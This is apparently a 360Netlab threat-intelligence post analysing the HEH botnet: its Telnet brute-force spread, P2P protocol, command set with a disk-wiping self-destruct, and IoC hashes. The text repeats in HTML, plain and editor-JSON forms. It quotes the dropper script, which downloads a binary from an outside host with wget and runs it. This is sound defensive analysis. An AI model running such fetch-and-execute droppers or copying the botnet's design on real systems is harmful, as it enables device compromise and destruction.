Server on the local port <code>:80</code> :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/start_http_serv.png" class="kg-image" alt loading="lazy"></figure><h3 id="universal-declaration-of-human-rights"><strong>Universal Declaration of Human Rights</strong></h3><p>The initial state of this HTTP Server will be set <code>:80/0</code> to <code>:80/9</code> a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the <code>:80/0</code> returns the Chinese version of the “Universal Declaration of Human Rights” .</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/http_server.png" class="kg-image" alt loading="lazy"></figure><p>The 8 versions:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/human_right_decl.png" class="kg-image" alt loading="lazy"></figure><p>These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol.</p><h3 id="p2p-module"><strong>P2P module</strong></h3><p>When the P2P module of HEH Botnet is initialized, there are two key steps:</p><ol><li>Initialize the Peer List object, which is a global variable of the <strong>Slice </strong>type, with an initial length of <strong>1000</strong> . This PeerList should be defined in Go language as follows:</li></ol><pre><code>package main
import "net"
type Peer struct {
addr net.UDPAddr
expirationTimer uint8
}
var peerList []Peer
</code></pre><p>2. Update the HTTP response data. By the <code>argv[1]</code> <strong>: 80</strong> the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an <strong>executable binary file</strong> .</p><p>The P2P module of HEH Botnet mainly consists of 3 components:</p><ol><li><strong>Ping </strong>component: every 10s, a <strong>Ping</strong> command will be sent to each and every Peer's UDP service port in a 0.1 second interval.</li><li><strong>Peer update</strong> component: every 10s, a bunch of Peer <strong>Update</strong> commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List.</li><li><strong>UDP service </strong>component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations.</li></ol><p>This article focuses on the UDP service component of HEH Botnet. This component has two key functions: <strong>UDP service port number generation</strong> and <strong>command parsing</strong> .</p><p>The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function <strong>main.portGenerator()</strong> . The key parts are as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/port_gen.png" class="kg-image" alt loading="lazy"></figure><p>The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( <strong>Protocol OpCode</strong> ) and Bot-specific control instructions ( <strong>Bot Cmd</strong> ). The Protocol OpCode is located in <strong>the first byte of the UDP data</strong> and is classified as follows:</p><p>OpCodeIns Len(Bytes)MeaningOperation<strong>2</strong>1<strong>Ping</strong>Response a <strong>Pong</strong> to the peer<strong>3</strong>1<strong>Pong</strong>-<strong>4</strong>1<strong>Announce</strong> (itself as a Peer)Add this peer to self's Peer List, and response an <strong>Announce</strong><strong>5</strong>1<strong>PeerUpdate</strong>(Let peer update its PeerList)Update Peer List<strong>1</strong>> 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd</p><p>When the instruction code is <strong>1</strong> , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 bytes onwards. Take No. <strong>7</strong> Bot Cmd (<strong>Cmd.UpdateBotFile</strong>) as an example, the instruction data structure is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/bot_cmd_st.png" class="kg-image" alt loading="lazy"></figure><p>HEH Bot verifies the received Bot Cmd data in 3 steps:</p><ol><li>Check the length of the command data and Extra Flag;</li><li>Use PSS Signature to verify command data;</li><li>Check the Sha256 Hash of the last real cmd data.</li></ol><p>The logic of the last two steps is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/cmd_verify.png" class="kg-image" alt loading="lazy"></figure><p>Among them, the public key used when verifying PSS Signature is:</p><pre><code>-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----
</code></pre><p>The Bot Cmd supported by HEH Bot are as follows:</p><p>Cmd CodeMeaning<strong>0</strong><strong>Restart</strong>: Restart the Bot<strong>2</strong><strong>Exit</strong>: Exit current running bot<strong>3</strong><strong>Attack</strong>: launch attacks ( <strong>not implemented</strong> )<strong>4</strong><strong>Execute</strong>: Execute Shell Commond<strong>5</strong><strong>Print</strong>: <strong>not implemented</strong><strong>6</strong><strong>PeerUpdate</strong>: Update Peer List<strong>7</strong><strong>UpdateBotFile</strong>: By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot<strong>8</strong><strong>SelfDestruct</strong>: Destruct the device<strong>9</strong><strong>Misc</strong>: <strong>not implemented</strong></p><p>At present, the most useful functions for the entire Botnet are to <strong>execute Shell commands</strong>, <strong>update Peer List</strong> and <strong>UpdateBotFile</strong>. The <strong>Attack</strong> function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the <strong>Attack</strong> feature.</p><p>The function for parsing Bot Cmd in Bot is <strong>main.executeCommand()</strong> . The overall structure of this function is as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/exec_cmd_func_overview.png" class="kg-image" alt loading="lazy"></figure><p><strong>Self-destruction</strong></p><p>There is one thing really worth noting here. When the Bot receives a cmd with code number <strong>8</strong> , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/self_destroy_cmd.png" class="kg-image" alt loading="lazy"></figure><h3 id="communication-module-telnet-service-brute-force-cracking"><strong>Communication module-Telnet service brute force cracking</strong></h3><p>After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation.</p><p>First, the Bot will generate a random IP address, and then check whether the IP address is <strong>127.0.0.1</strong> :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/random_dip.png" class="kg-image" alt loading="lazy"></figure><p>If the IP address is <strong>not 127.0.0.1</strong> , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force stage. The related functions are as follows:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_related_func.png" class="kg-image" alt loading="lazy"></figure><p>The password dictionary exists in the form of global <strong>Slice</strong> variables, including <strong>171</strong> usernames and <strong>504</strong> passwords : (we are not sharing the list publicly due to security concerns) :</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/telnet_auth_dict.png" class="kg-image" alt loading="lazy"></figure><p>If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:</p><figure class="kg-card kg-image-card"><img src="__GHOST_URL__/content/images/2020/09/send_payload.png" class="kg-image" alt loading="lazy"></figure><h2 id="sum-up"><strong>Sum up</strong></h2><p>The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping<-->Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous.</p><h2 id="contact-us"><strong>Contact us</strong></h2><p>Readers are always welcomed to reach us on <strong><a href="https://twitter.com/360Netlab" rel="noopener noreferrer">twitter</a></strong> , or email to <strong>netlab at 360 dot cn</strong>.</p><h2 id="ioc"><strong>IoC</strong></h2><p>MD5:</p><pre><code>4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715</code></pre> | Overview
Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the Telnet service on ports 23/2323, which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it HEH Botnet .
Based on the parsing result of go_parser (A tool I wrote, check it out at GitHub here), the HEH sample we captured was constructed by Go 1.15.1 . The source code files used to build the binary file are listed as follows:
/mnt/c/Users/brand/go/src/heh/attack.go
/mnt/c/Users/brand/go/src/heh/commands.go
/mnt/c/Users/brand/go/src/heh/structFun.go
/mnt/c/Users/brand/go/src/heh/cryptotext.go
/mnt/c/Users/brand/go/src/heh/httpserver.go
/mnt/c/Users/brand/go/src/heh/killer.go
/mnt/c/Users/brand/go/src/heh/main.go
/mnt/c/Users/brand/go/src/heh/network.go
/mnt/c/Users/brand/go/src/heh/peerlist.go
/mnt/c/Users/brand/go/src/heh/portkill.go
/mnt/c/Users/brand/go/src/heh/services.go
/mnt/c/Users/brand/go/src/heh/telnet.go
Note that the project inside the sample is named heh. According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform.
Function description
The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:
Detailed analysis
Initial stage
The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named wpqnbw.txt . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on pomf.cat Site(note here, prmf.cat is legit website, don’t block it). The beginning of wpqnbw.txt (similar to the subsequent content):
#!/bin/bash
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /
wget hxxp://a.pomf.cat/xggxyk
busybox wget hxxp://a.pomf.cat/xggxyk
chmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk "$1 3"
The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is 3 , the sample will start running in daemon mode.
After the sample is started, a series of service processes will be killed according to the port number:
Then, the HEH sample will start an HTTP Server on the local port :80 :
Universal Declaration of Human Rights
The initial state of this HTTP Server will be set :80/0 to :80/9 a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the :80/0 returns the Chinese version of the “Universal Declaration of Human Rights” .
The 8 versions:
These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol.
P2P module
When the P2P module of HEH Botnet is initialized, there are two key steps:
1. Initialize the Peer List object, which is a global variable of the Slice type, with an initial length of 1000 . This PeerList should be defined in Go language as follows:
package main
import "net"
type Peer struct {
addr net.UDPAddr
expirationTimer uint8
}
var peerList []Peer
2. Update the HTTP response data. By the argv[1] : 80 the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an executable binary file .
The P2P module of HEH Botnet mainly consists of 3 components:
1. Ping component: every 10s, a Ping command will be sent to each and every Peer's UDP service port in a 0.1 second interval.
2. Peer update component: every 10s, a bunch of Peer Update commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List.
3. UDP service component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations.
This article focuses on the UDP service component of HEH Botnet. This component has two key functions: UDP service port number generation and command parsing .
The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function main.portGenerator() . The key parts are as follows:
The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( Protocol OpCode ) and Bot-specific control instructions ( Bot Cmd ). The Protocol OpCode is located in the first byte of the UDP data and is classified as follows:
OpCodeIns Len(Bytes)MeaningOperation21PingResponse a Pong to the peer31Pong-41Announce (itself as a Peer)Add this peer to self's Peer List, and response an Announce51PeerUpdate(Let peer update its PeerList)Update Peer List1> 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd
When the instruction code is 1 , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 bytes onwards. Take No. 7 Bot Cmd (Cmd.UpdateBotFile) as an example, the instruction data structure is as follows:
HEH Bot verifies the received Bot Cmd data in 3 steps:
1. Check the length of the command data and Extra Flag;
2. Use PSS Signature to verify command data;
3. Check the Sha256 Hash of the last real cmd data.
The logic of the last two steps is as follows:
Among them, the public key used when verifying PSS Signature is:
-----BEGIN PUBLIC KEY-----
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo
uBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm
jcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo
E0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA
3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX
uoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU
9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu
jPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y
33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI
n5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa
9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en
LW2/t1GOPfXptXtNmdzp01sCAwEAAQ==
-----END PUBLIC KEY-----
The Bot Cmd supported by HEH Bot are as follows:
Cmd CodeMeaning0Restart: Restart the Bot2Exit: Exit current running bot3Attack: launch attacks ( not implemented )4Execute: Execute Shell Commond5Print: not implemented6PeerUpdate: Update Peer List7UpdateBotFile: By specifying a file download link, let the bot download and update the content of the file held by the bot. This file will be used as HTTP Response Data by the local HTTP Server which launched by the bot8SelfDestruct: Destruct the device9Misc: not implemented
At present, the most useful functions for the entire Botnet are to execute Shell commands, update Peer List and UpdateBotFile. The Attack function in the code is just a reserved empty function, and has not been implemented. It can be seen that the Botnet is still in the developement stage. We will see what the author comes up with the Attack feature.
The function for parsing Bot Cmd in Bot is main.executeCommand() . The overall structure of this function is as follows:
Self-destruction
There is one thing really worth noting here. When the Bot receives a cmd with code number 8 , the Bot will try to wipe out everything on all the disks through the following series of Shell commands:
Communication module-Telnet service brute force cracking
After the Bot runs the P2P module, it will execute the brute force task against the Telnet service for the two ports 23 and 2323 in a parallel manner, and then complete its own propagation.
First, the Bot will generate a random IP address, and then check whether the IP address is 127.0.0.1 :
If the IP address is not 127.0.0.1 , the IP will be scanned. If the Telnet service is opened on port 23 or 2323, it will enter the brute force stage. The related functions are as follows:
The password dictionary exists in the form of global Slice variables, including 171 usernames and 504 passwords : (we are not sharing the list publicly due to security concerns) :
If the attempt is successful, the bot will let the victim access the bot’s own HTTP service, and execute the corresponding file obtained through HTTP (ie the latest Bot sample) to complete the spread:
Sum up
The operating mechanism of this botnet is not yet mature, as we can see from above, some important function such as attack module have not yet been implemented. Also the P2P implementation still has flaws, the Bot does maintain a Peer List internally, and there is ongoing Ping<-->Pong communication between peers, but the entire Botnet still is considered centralized, as currently the bot node cannot send control command. In addition, the mechanism of carrying the sample itself through the local HTTP Server is not very pretty. With that being said, the new and developing P2P structure, the multiple CPU architecture support, the embedded self-destruction feature, all make this botnet potentially dangerous.
Contact us
Readers are always welcomed to reach us on twitter , or email to netlab at 360 dot cn.
IoC
MD5:
4c345fdea97a71ac235f2fa9ddb19f05
66786509c16e3285c5e9632ab9019bc7
6be1590ac9e87dd7fe19257213a2db32
6c815da9af17bfa552beb8e25749f313
984fd7ffb7d9f20246e580e15fd93ec7
bd07315639da232e6bb4f796231def8a
c1b2a59f1f1592d9713aa9840c34cade
c2c26a7b2a5412c9545a46e1b9b37b0e
43de9c5fbab4cd59b3eab07a81ea8715 | {"version":"0.3.1","atoms":[],"cards":[["code",{"code":"/mnt/c/Users/brand/go/src/heh/attack.go\n/mnt/c/Users/brand/go/src/heh/commands.go\n/mnt/c/Users/brand/go/src/heh/structFun.go\n/mnt/c/Users/brand/go/src/heh/cryptotext.go\n/mnt/c/Users/brand/go/src/heh/httpserver.go\n/mnt/c/Users/brand/go/src/heh/killer.go\n/mnt/c/Users/brand/go/src/heh/main.go\n/mnt/c/Users/brand/go/src/heh/network.go\n/mnt/c/Users/brand/go/src/heh/peerlist.go\n/mnt/c/Users/brand/go/src/heh/portkill.go\n/mnt/c/Users/brand/go/src/heh/services.go\n/mnt/c/Users/brand/go/src/heh/telnet.go\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/HEHBotnet.png","alt":"","title":""}],["code",{"code":"#!/bin/bash\ncd /tmp || cd /var/run || cd /mnt || cd /root || cd /\nwget hxxp://a.pomf.cat/xggxyk\nbusybox wget hxxp://a.pomf.cat/xggxyk\nchmod 777 xggxyk; busybox chmod 777 xggxyk; sh xggxyk \"$1 3\"\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/kill_serv_by_ports.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/start_http_serv.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/http_server.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/human_right_decl.png","alt":"","title":""}],["code",{"code":"package main\nimport \"net\"\n\ntype Peer struct {\n\taddr net.UDPAddr\n\texpirationTimer uint8\n}\n\nvar peerList []Peer\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/port_gen.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/bot_cmd_st.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/cmd_verify.png","alt":"","title":""}],["code",{"code":"-----BEGIN PUBLIC KEY-----\nMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA3c1Jzopt9E4+cDwTMKUo\nuBSfu9DoFYctD6OIkiZqE1iF5sJPOr6xhU+nV9sebcAClnO9+6YvlKDIVVwjzNbm\njcfUAYyq8FSLJrifEYvT2LYkYYy/SNKcaaTmAKCJ3ACSXpjhcr6WW5/05ygBShVo\nE0q+fVhVTqnkOPpIowuHs9RH0DcuGsxKYXTQizuC0Xa0HrfUrnI7FWNSUfm8v1mA\n3FnlikNdTMrlRItnRCGIj+8tyiyvyQAi0/SWrfZLG+HzMgxf+wVBfD9H2XTUcUWX\nuoDIlSRIJJkN88dJ+uf1dlHlCqhF9TrimpzALq+OhSd1alUaf+PFINSrjNuIc+wU\n9cuYQeD6kMynXu7bKTVqKPz8M0EathmduOthNL7WUhcKUppyyBIfkVmH9cnxWcZu\njPpnGH9n5Djy1QaexRT9JBx7eNSps31cZ9/rQgO05SlA4KFZARCIXNPZmGOZmL8Y\n33dPu29ykF02kiOau6SyLgRW2bIudMCrhL82fSo6zSNCXOby8VE3j/BCfn2lx5oI\nn5ES65zs2GuF3DGfwheNLiaajV5belCOMCD07TjfBfHJz0hisTy5K1UHItqHSFCa\n9EijW7uk416Ulx0HHChKAQJ8Mn2AqD1WBR4Iu20WQENJNIT7ketyCCMwJH0mO3en\nLW2/t1GOPfXptXtNmdzp01sCAwEAAQ==\n-----END PUBLIC KEY-----\n"}],["image",{"src":"__GHOST_URL__/content/images/2020/09/exec_cmd_func_overview.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/self_destroy_cmd.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/random_dip.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/telnet_related_func.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/telnet_auth_dict.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2020/09/send_payload.png","alt":"","title":""}],["code",{"code":"4c345fdea97a71ac235f2fa9ddb19f05\n66786509c16e3285c5e9632ab9019bc7\n6be1590ac9e87dd7fe19257213a2db32\n6c815da9af17bfa552beb8e25749f313\n984fd7ffb7d9f20246e580e15fd93ec7\nbd07315639da232e6bb4f796231def8a\nc1b2a59f1f1592d9713aa9840c34cade\nc2c26a7b2a5412c9545a46e1b9b37b0e\n43de9c5fbab4cd59b3eab07a81ea8715"}]],"markups":[["strong"],["a",["href","https://github.com/0xjiayu/go_parser"]],["code"],["a",["href","https://twitter.com/360Netlab","rel","noopener noreferrer"]]],"sections":[[1,"h2",[[0,[0],1,"Overview"]]],[1,"p",[[0,[],0,"Recently, 360Netlab threat detection system captured a batch of unknown samples. The CPU architectures supported by this batch of samples are broad, including x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) and PPC, it is spreading through brute force of the "],[0,[0],1,"Telnet"],[0,[],0," service on ports "],[0,[0],1,"23/2323, "],[0,[],0,"which means the bot does not really care of what the end devices are, as long as it can enter the device, it will try its luck to infect the target. The botnet is written in Go language, and uses proprietary P2P protocol, we named it "],[0,[0],1,"HEH Botnet"],[0,[],0," . "]]],[1,"p",[[0,[],0,"Based on the parsing result of "],[0,[0],1,"go_parser "],[0,[],0,"(A tool I wrote, check it out at GitHub "],[0,[1,0],2,"here"],[0,[],0,"), the HEH sample we captured was constructed by "],[0,[0],1,"Go 1.15.1"],[0,[],0," . The source code files used to build the binary file are listed as follows:"]]],[10,0],[1,"p",[[0,[],0,"Note that the project inside the sample is named "],[0,[0],1,"heh"],[0,[],0,". According to the characteristics of the source file path, we can also confirm that the family samples were built by the author in the WSL environment on the Windows platform."]]],[1,"h2",[[0,[0],1,"Function description"]]],[1,"p",[[0,[],0,"The HEH Botnet sample contains three functional modules: propagation module, local HTTP service module and P2P module. The outline flow chart is as follows:"]]],[10,1],[1,"h2",[[0,[0],1,"Detailed analysis"]]],[1,"h3",[[0,[0],1,"Initial stage"]]],[1,"p",[[0,[],0,"The HEH Botnet samples we captured was originally downloaded and executed by a malicious Shell script named "],[0,[0],1,"wpqnbw.txt"],[0,[],0," . The malicious Shell script then downloads and executes every single one of the malicious programs for all different CPU architectures, there is no environment checking or things like that, just run all the programs in turn. The malicious scripts and binary programs are hosted on "],[0,[0],1,"pomf.cat"],[0,[],0," Site(note here, prmf.cat is legit website, don’t block it). The beginning of "],[0,[0],1,"wpqnbw.txt"],[0,[],0," (similar to the subsequent content):"]]],[10,2],[1,"p",[[0,[],0,"The parameters passed in when the malicious sample is started, the first parameter is an IP address, the default is the external IP of the compromised machine, theoretically it can also be the IP address of a certain Peer; the second parameter is the Deamon Flag, if you set this parameter is "],[0,[0],1,"3"],[0,[],0," , the sample will start running in daemon mode."]]],[1,"p",[[0,[],0,"After the sample is started, a series of service processes will be killed according to the port number:"]]],[10,3],[1,"p",[[0,[],0,"Then, the HEH sample will start an HTTP Server on the local port "],[0,[2],1,":80"],[0,[],0," :"]]],[10,4],[1,"h3",[[0,[0],1,"Universal Declaration of Human Rights"]]],[1,"p",[[0,[],0,"The initial state of this HTTP Server will be set "],[0,[2],1,":80/0"],[0,[],0," to "],[0,[2],1,":80/9"],[0,[],0," a total of 10 URIs, correspondingly, the Universal Declaration of Human Rights in 8 languages and 2 empty contents are displayed. For example, the "],[0,[2],1,":80/0"],[0,[],0," returns the Chinese version of the “Universal Declaration of Human Rights” ."]]],[10,5],[1,"p",[[0,[],0,"The 8 versions:"]]],[10,6],[1,"p",[[0,[],0,"These initial contents of the Universal Declaration of Human Rights will soon be overwritten by the data pulled by the sample from Peer's HTTP service port, and these contents can also be updated through specific instructions in the P2P protocol."]]],[1,"h3",[[0,[0],1,"P2P module"]]],[1,"p",[[0,[],0,"When the P2P module of HEH Botnet is initialized, there are two key steps:"]]],[3,"ol",[[[0,[],0,"Initialize the Peer List object, which is a global variable of the "],[0,[0],1,"Slice "],[0,[],0,"type, with an initial length of "],[0,[0],1,"1000"],[0,[],0," . This PeerList should be defined in Go language as follows:"]]]],[10,7],[1,"p",[[0,[],0,"2. Update the HTTP response data. By the "],[0,[2],1,"argv[1]"],[0,[],0," "],[0,[0],1,": 80"],[0,[],0," the HTTP request to the service port of the HTTP URI 0 ~ 9, to update their respective data. According to the behavior of the sample, the data updated here is an "],[0,[0],1,"executable binary file"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The P2P module of HEH Botnet mainly consists of 3 components:"]]],[3,"ol",[[[0,[0],1,"Ping "],[0,[],0,"component: every 10s, a "],[0,[0],1,"Ping"],[0,[],0," command will be sent to each and every Peer's UDP service port in a 0.1 second interval."]],[[0,[0],1,"Peer update"],[0,[],0," component: every 10s, a bunch of Peer "],[0,[0],1,"Update"],[0,[],0," commands will also be sent to random Peers’ UDP service port in the same 0.1 second interval. After receiving the command, the peer will check whether its Peer List already contains the Peer address information. If not, add the Peer address information to its Peer List."]],[[0,[0],1,"UDP service "],[0,[],0,"component: The local Peer service of HEH Botnet is a UDP service. This service monitors data or instructions sent by other Peers, analyzes the instructions and performs corresponding operations."]]]],[1,"p",[[0,[],0,"This article focuses on the UDP service component of HEH Botnet. This component has two key functions: "],[0,[0],1,"UDP service port number generation"],[0,[],0," and "],[0,[0],1,"command parsing"],[0,[],0," ."]]],[1,"p",[[0,[],0,"The UDP service port of HEH Botnet is not fixed, nor is it randomly generated, but is calculated based on Peer's own public network IP. Each time HEH Bot receives a new Peer's IP address, it will calculate the Peer's UDP port according to the algorithm, and pack this information into its Peer List. The port generation algorithm is implemented in the function "],[0,[0],1,"main.portGenerator()"],[0,[],0," . The key parts are as follows:"]]],[10,8],[1,"p",[[0,[],0,"The instructions that HEH Bot can parse are divided into two categories: P2P protocol-related functional instructions ( "],[0,[0],1,"Protocol OpCode"],[0,[],0," ) and Bot-specific control instructions ( "],[0,[0],1,"Bot Cmd"],[0,[],0," ). The Protocol OpCode is located in "],[0,[0],1,"the first byte of the UDP data"],[0,[],0," and is classified as follows:"]]],[1,"p",[[0,[],0,"OpCodeIns Len(Bytes)MeaningOperation"],[0,[0],1,"2"],[0,[],0,"1"],[0,[0],1,"Ping"],[0,[],0,"Response a "],[0,[0],1,"Pong"],[0,[],0," to the peer"],[0,[0],1,"3"],[0,[],0,"1"],[0,[0],1,"Pong"],[0,[],0,"-"],[0,[0],1,"4"],[0,[],0,"1"],[0,[0],1,"Announce"],[0,[],0," (itself as a Peer)Add this peer to self's Peer List, and response an "],[0,[0],1,"Announce"],[0,[0],1,"5"],[0,[],0,"1"],[0,[0],1,"PeerUpdate"],[0,[],0,"(Let peer update its PeerList)Update Peer List"],[0,[0],1,"1"],[0,[],0,"> 0x229Control bot to do something as the Bot Cmd requiredParse and Execute Bot Cmd"]]],[1,"p",[[0,[],0,"When the instruction code is "],[0,[0],1,"1"],[0,[],0," , it means that the instruction is a control instruction code for Bot. The meaning of the starting 0x229 Bytes of data for this type of command is fixed. It contains the Sha256 Hash Value and PSS Signature used for verification in turn, and finally there is an additional verification field of 8 Bytes; the actual command data is from 0x229 